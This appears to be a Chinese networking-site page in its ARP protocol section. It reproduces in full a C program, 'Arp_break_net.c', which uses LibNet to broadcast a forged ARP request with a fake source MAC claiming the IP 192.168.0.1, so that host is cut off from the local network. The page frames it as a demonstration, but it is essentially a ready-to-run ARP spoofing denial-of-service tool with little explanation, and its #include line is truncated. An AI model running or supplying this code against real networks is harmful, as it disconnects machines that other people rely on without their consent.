返回首页
当前位置: 网站首页>>协议大全>>ARP协议>>

动态ARP可导致整个TCP/IP网络中断-ARP经验

时间:2010-10-26 来源: 作者: 点击:
程序名:Arp_break_net.c 用途 :演示通过ARP数据包使网络中的某主机无法连接网络 演示中192.168.0.1 将无法连接进入网络 编写 :cloud 时间 :2001-2-11 其他 :程序依赖LibNet */ #include u_char enet_src[6] = {0,0,0,0}; //源MAC地址 (伪造的一个不存在MAC地址) u
  

程序名:Arp_break_net.c

  用途 :演示通过ARP数据包使网络中的某主机无法连接网络

  演示中192.168.0.1 将无法连接进入网络

  编写 :cloud

  时间 :2001-2-11

  其他 :程序依赖LibNet

  */

  #include

  u_char enet_src[6] = {0,0,0,0}; //源MAC地址 (伪造的一个不存在MAC地址)

  u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};

  //目标MAC地址(广播地址)

  u_char ip_src[4] = {192,168,0,1};

  //源IP地址 (被踢出网络的IP地址)

  u_char ip_dst[4] = {192,168,0,255};

  //目标IP地址 (随便一个IP地址)

  int main(int argc, char *argv[])

  {

  int c;

  char errbuf[256];

  char *device = "eth0"; //数据包从第一个网卡发送出去

  struct libnet_link_int *l;

  l = libnet_open_link_interface(device, errbuf); //打开设备

  if (!l)

  {

  fprintf(stderr, "libnet_open_link_interface: %s\n", errbuf);

  exit(EXIT_FAILURE);

  }

  c = send_arp(l, device); //发送ARP数据包

  return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);

  }

  int send_arp(struct link_int *l, u_char *device)

  {

  int n;

  u_char *buf;

  if (libnet_init_packet(ARP_H + ETH_H, &buf) == -1)

  {

  perror("libnet_init_packet memory:");

  exit(EXIT_FAILURE);

  }

  /*

  * 构造以太数据包头部信息

  */

  libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf);

  /*

  * 构造ARP数据包头部信息

  */

  libnet_build_arp(ARPHRD_ETHER,

  ETHERTYPE_IP,

  6,

  4,

  ARPOP_REQUEST,

  enet_src,

  ip_src,

  enet_dst,

  ip_dst,

  NULL,

  0,

  buf + ETH_H);

  n = libnet_write_link_layer(l, device, buf, ARP_H + ETH_H); //发送数据包

  printf("Wrote %d byte ARP packet through linktype %d\n", n, l->linktype);

  libnet_destroy_packet(&buf);

  return (n);

  }

------分隔线----------------------------
顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
最新评论 查看所有评论
发表评论 查看所有评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 密码: 验证码:
推荐内容
热点内容